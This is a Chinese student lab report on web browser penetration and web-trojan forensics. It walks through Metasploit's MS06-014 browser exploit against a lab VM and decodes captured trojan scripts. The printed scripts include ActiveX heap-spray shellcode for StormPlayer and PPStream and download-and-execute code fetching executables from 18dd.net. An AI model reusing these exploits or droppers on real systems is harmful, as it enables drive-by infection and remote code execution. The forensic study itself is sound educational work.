20212905 2021-2022-2 《网络攻防实践》第十一次作业

20212905 2021-2022-2 《网络攻防实践》第十一次作业

1.实验内容

  1. web浏览器渗透攻击
  2. 取证分析实践—网页木马攻击场景分析
  3. 攻防对抗实践—web浏览器渗透攻击攻防

现代 Web 浏览器的基本结构与机理

现代 Web 浏览器指的是能够符合“现行标准”,并且被互联网用户所接受使用的 Web 浏览器软件。

目前的现代 Web 浏览器要求能够理解和支待 HTML 和 XHTML、Cascading Style Sheets (CSS)、ECMA Script 及 W3C Document Object Model (DOM)等一系列标准,因此现代浏览器已经不像古典浏览器那么简单明了,其基木结构与各种功能特性的复杂性也已经大大增加,现代浏览器的基本结构如下图。

Web 浏览的安全问题与威胁

Web 浏览器软件的安全困境三要素

在复杂性方面,现代 Web 浏览器软件由于需要支持多种类型的应用层协议浏览,符合一系列的页面标准规范,支持多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在可被渗透攻击所利用的大量安全漏洞。

在可扩展件方面,现代 Web 浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。

在连通性方面,现代 Web 浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

Web 浏览安全威胁位置

如同 Web 应用服务端一样,Web 浏览环境中的每个组件也都面对着各种不同类型的安全威胁。

  • 针对传输网络的网络协议安全威胁;
  • 针对 Web 浏览端系统平台的安全威胁;
  • 针对 Web 浏览器软件及插件程序的渗透攻击威胁;
  • 针对互联网用户的社会工程学攻击威胁。

网页木马

从 2004 年名噪一时的“网银大盗”案件开始,网页木马可以称得上是国内互联网上最流行的网络攻击技术形态之一,由网络虚拟资产盗窃等地下经济链所驱动,通过利用 Web 浏览端的各种软件安全漏洞进行渗透攻击,向终端计算机植入恶意程序,窃取网民用户的敏感信息和网络虚拟资产,从而给广大网民带来严重的安全危害。

网页木马的定义特性

网页木马从本质特性上是利用了现代 Web 浏览器软件中所支持的客户端脚本执行能力,针对 Web 浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。

绝大多数的网页木马都利用了 Web 浏览端的客户端脚本执行能力,来更好更高效地实施渗透攻击过程,因此从恶意代码技术类型的分类来讲,网页木马也可以被归入恶意移动代码 (Malicious Mobile Code) 的类别范畴内。

对网页木马机理的全方位分析与理解

传统服务器端渗透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。

通过上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性,这也使得网页木马成为近年来最为复杂和难以应对的网络安全威胁类型。

  • 多样化的客户端渗透攻击位置和技术类型;
  • 分布式、复杂的微观链接结构;
  • 灵活多变的混淆与对抗分析能力。

网页挂马机制

在编写完成网页木马渗透攻击代码之后,为了使得能够有终端用户使用他们可能存在安全漏洞的 Web 浏览端软件来访问网页木马,攻击者还需要将网页木乃挂接到一些拥有客户访问量的网站页面上,这一过程就被称为网页挂马。

网页挂马的机制很多,最主要的有如下四类策略。

  • 内嵌 HTML 标签;
  • 恶意 Script 脚本;
  • 内嵌对象链接;
  • ARP 欺骗挂马。

网页木马的检测与分析技术

  • 基于特征码匹配的传统检测方法:在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马。
  • 基于统计与机器学习的静态分析方法:为应对网页木马普遍采用的代码混淆机制,研究人员采用了多种统计与机器学习方法对混淆及行为特征进行检测,包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等。
  • 基于动态行为结果判定的检测分析方法:这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型 Web 访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。
  • 基于模拟浏览器环境的动态分析检测方法:由于网页木马的混淆机制本质上是利用了浏览器中脚本引擎对脚本代码的解释执行能力,因此安全领域的研究者最新引入了一种基于模拟浏览器环境 (Emulation - based) 的动态分析检测方法,以脚本执行引擎(如 SpiderMonkey 开源 JavaScript 引擎)为核心,通过模拟实现 DOM 模型页面解析与渲染、ActiveX 等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。

钓鱼网站

钓鱼网站是指欺骗用户的虚假网站。“钓鱼网站”的页面与真实网站界面基本一致,欺骗消费者或者窃取访问者提交的账号和密码信息。钓鱼网站一般只有一个或几个页面,和真实网站差别细微。

钓鱼网站是互联网中最常碰到的一种诈骗方式,通常伪装成银行及电子商务、窃取用户提交的银行账号、密码等私密信息的网站。

2.实验过程

2.1 web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

  1. 选择使用Metasploit中的MS06-014渗透攻击模块
  2. 选择PAYLOAD为任意远程Shell连接
  3. 设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
  4. 在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
  5. 在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
实验环境 IP
攻击机kali 192.168.200.195
靶机Win2KServer 192.168.200.194

首先在 kali 中打开Metasploit

搜索MS06-014渗透攻击模块

使用漏洞:

use exploit/windows/browser/ie_createobject

设置参数:

set lhost 192.168.200.195
set SRVPORT 80
set URIPATH /

设置 payload 并执行:

set payload windows/shell/bind_tcp
run

然后在靶机中模拟受害者操作,打开http://192.168.200.195:80/,然后获得了shell,成功执行命令

2.2 取证分析实践—网页木马攻击场景分析

实践过程:

  1. 首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
  2. 在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
  3. 如果解密出的地址给出的是网页或脚本文件,请继续解密。
  4. 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
  5. 重复以上过程直到这些文件被全部分析完成。

根据文件中的代码:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')),发现这个文件使用了XXTEA+Base64的加密方法,其中第二个参数是密钥。

使用https://cycy.sourceforge.io/xxtea/在线解密得到

eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

将eval中十六进制代码转为字符串,得到js代码

function init(){
      document.write();
}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
      try{var e;
      var ado=(document.createElement("object"));
      ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
      var as=ado.createobject("Adodb.Stream","")//Adodb.Stream
}
catch(e){};
finally{
      var expires=new Date();
      expires.setTime(expires.getTime()+24*60*60*1000);
      document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
      if(e!="[object Error]"){
            document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
      else{
      try{      
            var f;
            var storm=new ActiveXObject("MPS.StormPlayer");//MPS.StormPlayer
      }catch(f){};
finally{
if(f!="[object Error]"){
      document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
      try{
      var g;
      var pps=new                     ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}//POWERPLAYER.PowerPlayerCtrl.1
      catch(g){};
      finally{if(g!="[object Error]"){
      document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}//写入恶意脚本
      try{
            var h;
            var obj=new ActiveXObject("BaiduBar.Tool");//BaiduBar.Tool
      }
      catch(h){};
      finally{if(h!="[object Error]"){
      obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}//下载
      }}}

在这段代码中,利用的漏洞有:

程序 所利用漏洞
Adodb.Stream MDAC
MPS.StormPlayer 暴风影音
POWERPLAYER.PowerPlayerCtrl.1 PPStream
BaiduBar.Tool 百度搜霸

对文件中包含的4个url进行分析:

url MD5
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

根据md5值找到对应的文件

对于文件1.js(MS06-014网马),直接打开发现除了最外层的Eval()函数以外,其他都是十六进制编码,使用解码工具解码后发现内容为一些 JS 代码,然后格式化,得到下面的代码。

var url = "http://down.18dd.net/bb/014.exe";
try {
	var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
	xml.Open

	("GET", url, 0);
	xml.Send();
	as.type = 1;
	as.open();
	as.write(xml.responseBody);
	path = "..\\ntuser.com";
	as.savetofile(path, 2);
	as.close

	();
	var shell = ado.createobject("Shell.Application", "");
	shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch(e) {}

该脚本下载了文件014.exe,然后利用系统漏洞调用cmd执行该程序,猜测该程序为恶意程序。

再对b.js进行分析

eval(function(p, a, c, k, e, d) {
	e = function(c) {
		return c
	};
	if (!''.replace(/^/, String)) {
		while (c--) {
			d[c] = k[c] || c
		}
		k = [function(e) {
			return d[e]
		}];
		e = function() {
			return '\\w+'
		};
		c = 1
	};
	while (c--) {
		if (k[c]) {
			p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
		}
	}
	return p
} 

('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))

后半部分是一段 shellcode

接下来对pps.js分析,尝试使用八进制解码

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = (document.createElement("object"));
pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer

这也是 shellcode

采用同样的方式解密b.js文件;解密结果如下:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "



";
storm.rawParse(buffer)

同上,对文件pps.js解密,得到其执行文件路径为http://down.18dd.net/bb/pps.exe

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

将2.1中的网页挂马网站保存下来,或者查看源代码,发现里面有许多空格和回车,将字符串都进行了分割,这是攻击者为了防止被发现进行的字符串的混淆。共9303行。

去掉多余的空格和换行之后,得到可读的代码

<!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.0Transitional//EN">
<HTML>
    
    <HEAD>
        <TITLE>
        </TITLE>
        <METAcontent="text/html;charset=gb2312" http-equiv=Content-Type>
            <SCRIPTlanguage=javascript>
                function oKJDdBQrZfhhHtuwIIqpxLLmAqmE(on) {varr=null; try { eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
                }catch(e){} if(!r) { try {eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}catch(e){}
                } if(!r) { try eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')") }catch(e){}
                } if(!r) { try {eval("r=o" ".Ge" +"tOb" "je"+"ct('',n)") }catch(e){} }
                if(!r) { try { eval("r=o"+".Ge"+"tOb"+"ject(n,'')") }catch(e){} } if(!r)
                {try { eval("r=o"+".Ge"+"tOb"+"ject(n)" ) }catch(e){} return(r ); } function
                qwpZKQSRmTheTIknPlv( a ) { var s = oKJDdBQrZfhhHtuwIIqpxLLmAqmE( a, "W"
                + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = oKJDdBQrZfhhHtuwIIqpxLLmAqmE(
                a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P"
                + "ro" + "ce" + "ss" ); var url = document.location + '/p' + 'ay' + 'lo'
                + 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\aBMRdvKxs"
                + ".e" + "xe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try
                { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new
                ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) { return(0); } xml.open("GET",
                url, false); xml.send(null); dat = xml.responseBody; o.Type = 1 ; o.Mode
                = 3 ; o.Open ( ) ; o.Write ( dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin
                , 0 ); } function nnPiNsOYORfiRQIWiaObcEcwFOy( ) { var i = 0; var t = new
                Array( '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6'
                + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3'
                + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E'
                + '3' + '6' + '}' , '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6'
                + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9'
                + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2'
                + '9' + 'E' + '3' + '0' + '}' , '{' + '7' + 'F' + '5' + 'B' + '7' + 'F'
                + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1'
                + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3'
